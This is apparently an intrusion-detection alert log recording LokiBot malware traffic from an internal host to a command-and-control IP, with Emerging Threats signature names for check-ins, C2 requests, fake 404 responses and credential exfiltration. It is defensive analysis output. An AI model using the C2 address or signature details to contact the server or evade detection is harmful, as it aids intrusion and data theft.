192.168.2.3171.22.30.14749929802825766 01/05/23-08:53:18.948979	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49929	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500142025483 01/05/23-08:53:43.800760	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50014	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749722802021641 01/05/23-08:52:17.506386	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49722	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750016802021641 01/05/23-08:53:44.267939	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50016	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749748802825766 01/05/23-08:52:24.879047	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49748	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749709802024313 01/05/23-08:52:11.256691	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49709	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749962802825766 01/05/23-08:53:29.855666	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49962	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749965802825766 01/05/23-08:53:30.671447	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49965	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749709802024318 01/05/23-08:52:11.256691	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49709	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749900802021641 01/05/23-08:53:10.997847	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49900	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749787802825766 01/05/23-08:52:37.509502	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49787	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749863802021641 01/05/23-08:52:59.703117	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49863	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497492025483 01/05/23-08:52:25.244471	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49749	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750049802021641 01/05/23-08:53:54.543372	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50049	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749807802021641 01/05/23-08:52:43.044779	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499192025483 01/05/23-08:53:16.269988	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49919	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749836802025381 01/05/23-08:52:51.681664	TCP	2025381	ET TROJAN LokiBot Checkin	49836	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498982025483 01/05/23-08:53:09.925316	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49898	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749788802024318 01/05/23-08:52:37.784136	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49788	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749788802024313 01/05/23-08:52:37.784136	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749995802825766 01/05/23-08:53:38.676723	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49995	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498872025483 01/05/23-08:53:06.208980	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49887	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380498762025483 01/05/23-08:53:03.261443	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49876	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750040802024318 01/05/23-08:53:52.135869	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50040	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749824802825766 01/05/23-08:52:47.639113	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49824	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749955802025381 01/05/23-08:53:25.989714	TCP	2025381	ET TROJAN LokiBot Checkin	49955	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750040802024313 01/05/23-08:53:52.135869	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50040	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749890802825766 01/05/23-08:53:06.934564	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49890	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749991802025381 01/05/23-08:53:37.629731	TCP	2025381	ET TROJAN LokiBot Checkin	49991	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500362025483 01/05/23-08:53:51.130015	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50036	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749787802021641 01/05/23-08:52:37.509502	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49787	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750004802024313 01/05/23-08:53:41.033557	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50004	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750004802024318 01/05/23-08:53:41.033557	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50004	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749864802024318 01/05/23-08:52:59.960618	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49864	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749814802825766 01/05/23-08:52:44.953030	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49814	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498322025483 01/05/23-08:52:49.888875	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49832	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749725802825766 01/05/23-08:52:18.390674	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49725	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749856802025381 01/05/23-08:52:57.793570	TCP	2025381	ET TROJAN LokiBot Checkin	49856	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749959802024318 01/05/23-08:53:28.075379	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49959	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749702802021641 01/05/23-08:52:08.155254	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49702	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749864802024313 01/05/23-08:52:59.960618	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49864	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749953802024313 01/05/23-08:53:25.469204	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49953	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749781802021641 01/05/23-08:52:35.821668	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749953802024318 01/05/23-08:53:25.469204	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49953	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749945802025381 01/05/23-08:53:23.275014	TCP	2025381	ET TROJAN LokiBot Checkin	49945	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750052802025381 01/05/23-08:53:55.369344	TCP	2025381	ET TROJAN LokiBot Checkin	50052	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749899802825766 01/05/23-08:53:10.169881	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49899	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500032025483 01/05/23-08:53:40.844768	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50003	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750082802021641 01/05/23-08:54:03.532238	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50082	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749831802024318 01/05/23-08:52:49.539016	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49831	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749797802021641 01/05/23-08:52:40.255110	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749909802825766 01/05/23-08:53:13.489642	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49909	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749831802024313 01/05/23-08:52:49.539016	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49831	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750010802825766 01/05/23-08:53:42.643021	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50010	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749949802024318 01/05/23-08:53:24.361661	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49949	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749886802021641 01/05/23-08:53:05.845633	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49886	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750020802021641 01/05/23-08:53:45.631791	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50020	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749840802025381 01/05/23-08:52:53.465268	TCP	2025381	ET TROJAN LokiBot Checkin	49840	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497722025483 01/05/23-08:52:31.725573	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49772	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749846802025381 01/05/23-08:52:55.097334	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749949802024313 01/05/23-08:53:24.361661	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49949	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749935802025381 01/05/23-08:53:20.565175	TCP	2025381	ET TROJAN LokiBot Checkin	49935	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749781802825766 01/05/23-08:52:35.821668	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49781	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749791802021641 01/05/23-08:52:38.617554	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749998802825766 01/05/23-08:53:39.461942	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49998	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749751802025381 01/05/23-08:52:25.762510	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497832025483 01/05/23-08:52:36.476500	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49783	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749870802825766 01/05/23-08:53:01.561418	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49870	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750060802024313 01/05/23-08:53:57.543966	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50060	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749725802021641 01/05/23-08:52:18.390674	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49725	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750020802825766 01/05/23-08:53:45.631791	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50020	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499622025483 01/05/23-08:53:29.944322	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49962	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750026802825766 01/05/23-08:53:48.341265	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50026	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750049802825766 01/05/23-08:53:54.543372	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50049	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749715802825766 01/05/23-08:52:14.021138	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49715	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749757802025381 01/05/23-08:52:27.498112	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499732025483 01/05/23-08:53:32.908458	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49973	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750036802021641 01/05/23-08:53:51.046851	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50036	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750060802024318 01/05/23-08:53:57.543966	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50060	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749930802024318 01/05/23-08:53:19.220224	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49930	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749896802021641 01/05/23-08:53:08.759564	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49896	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750013802021641 01/05/23-08:53:43.455950	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50013	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749930802024313 01/05/23-08:53:19.220224	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49930	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499952025483 01/05/23-08:53:38.758200	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49995	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749985802021641 01/05/23-08:53:36.027311	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49985	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749741802025381 01/05/23-08:52:22.916909	TCP	2025381	ET TROJAN LokiBot Checkin	49741	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749791802825766 01/05/23-08:52:38.617554	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49791	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498042025483 01/05/23-08:52:42.259302	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49804	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750050802024313 01/05/23-08:53:54.799294	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50050	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749880802825766 01/05/23-08:53:04.232334	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49880	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750039802825766 01/05/23-08:53:51.865723	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50039	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749765802024318 01/05/23-08:52:29.748218	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49765	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749768802024318 01/05/23-08:52:30.564042	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49768	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750050802024318 01/05/23-08:53:54.799294	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50050	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749765802024313 01/05/23-08:52:29.748218	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49765	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497502025483 01/05/23-08:52:25.555747	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49750	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749854802024313 01/05/23-08:52:57.240558	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49854	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749768802024313 01/05/23-08:52:30.564042	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49768	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749943802024318 01/05/23-08:53:22.718924	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49943	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749854802024318 01/05/23-08:52:57.240558	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49854	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749943802024313 01/05/23-08:53:22.718924	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49943	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750026802021641 01/05/23-08:53:48.341265	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50026	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749919802825766 01/05/23-08:53:16.188265	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49919	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749712802825766 01/05/23-08:52:12.436257	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49712	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749712802021641 01/05/23-08:52:12.436257	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49712	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750079802024313 01/05/23-08:54:02.588823	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50079	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749801802021641 01/05/23-08:52:41.371912	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49801	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749801802825766 01/05/23-08:52:41.371912	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49801	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749932802025381 01/05/23-08:53:19.762349	TCP	2025381	ET TROJAN LokiBot Checkin	49932	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749972802021641 01/05/23-08:53:32.566966	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49972	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749817802021641 01/05/23-08:52:45.747633	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750063802024313 01/05/23-08:53:58.331391	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50063	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750065802025381 01/05/23-08:53:58.843527	TCP	2025381	ET TROJAN LokiBot Checkin	50065	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749906802021641 01/05/23-08:53:12.686115	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49906	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750063802024318 01/05/23-08:53:58.331391	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50063	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749959802024313 01/05/23-08:53:28.075379	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49959	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500242025483 01/05/23-08:53:47.891283	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50024	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750083802025381 01/05/23-08:54:03.789158	TCP	2025381	ET TROJAN LokiBot Checkin	50083	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749755802025381 01/05/23-08:52:26.961334	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749896802825766 01/05/23-08:53:08.759564	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49896	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750022802025381 01/05/23-08:53:46.665385	TCP	2025381	ET TROJAN LokiBot Checkin	50022	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749740802825766 01/05/23-08:52:22.636691	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49740	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749839802024313 01/05/23-08:52:53.202583	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49839	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499442025483 01/05/23-08:53:23.101688	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49944	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749836802021641 01/05/23-08:52:51.681664	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49836	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749839802024318 01/05/23-08:52:53.202583	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49839	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749984802025381 01/05/23-08:53:35.743967	TCP	2025381	ET TROJAN LokiBot Checkin	49984	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749835802825766 01/05/23-08:52:50.902278	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49835	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749831802021641 01/05/23-08:52:49.539016	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49831	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750058802021641 01/05/23-08:53:57.002594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50058	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749940802024318 01/05/23-08:53:21.893765	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49940	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749926802021641 01/05/23-08:53:18.143087	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49926	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498862025483 01/05/23-08:53:05.936188	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49886	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499032025483 01/05/23-08:53:11.958213	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49903	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750072802024318 01/05/23-08:54:00.683642	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50072	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497902025483 01/05/23-08:52:38.427307	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49790	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749808802021641 01/05/23-08:52:43.325468	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49808	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749940802024313 01/05/23-08:53:21.893765	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49940	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749744802024318 01/05/23-08:52:23.736699	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49744	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750072802024313 01/05/23-08:54:00.683642	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50072	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749744802024313 01/05/23-08:52:23.736699	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749800802025381 01/05/23-08:52:41.099242	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749862802024313 01/05/23-08:52:59.436708	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49862	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749897802021641 01/05/23-08:53:09.055046	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49897	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749957802024318 01/05/23-08:53:26.768134	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49957	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749958802825766 01/05/23-08:53:27.233105	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49958	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749863802825766 01/05/23-08:52:59.703117	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49863	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749862802024318 01/05/23-08:52:59.436708	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49862	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749941802825766 01/05/23-08:53:22.165125	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49941	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749945802024313 01/05/23-08:53:23.275014	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49945	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749812802025381 01/05/23-08:52:44.412618	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749985802024318 01/05/23-08:53:36.027311	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49985	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749968802025381 01/05/23-08:53:31.490288	TCP	2025381	ET TROJAN LokiBot Checkin	49968	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749757802825766 01/05/23-08:52:27.498112	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49757	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749985802024313 01/05/23-08:53:36.027311	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49985	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749801802024313 01/05/23-08:52:41.371912	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49801	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749778802825766 01/05/23-08:52:34.958959	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49778	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497302025483 01/05/23-08:52:19.930196	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49730	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749713802021641 01/05/23-08:52:12.826844	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49713	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750041802021641 01/05/23-08:53:52.410718	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50041	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497682025483 01/05/23-08:52:30.646820	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49768	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749718802021641 01/05/23-08:52:15.464089	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49718	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749699802024312 01/05/23-08:52:06.870270	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49699	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749917802024318 01/05/23-08:53:15.635846	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49917	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497712025483 01/05/23-08:52:31.457724	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49771	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749996802025381 01/05/23-08:53:38.933239	TCP	2025381	ET TROJAN LokiBot Checkin	49996	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750023802024318 01/05/23-08:53:47.546596	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50023	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497382025483 01/05/23-08:52:22.148864	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49738	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749699802024317 01/05/23-08:52:06.870270	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49699	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749917802024313 01/05/23-08:53:15.635846	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49917	80	192.168.2.3	171.22.30.147
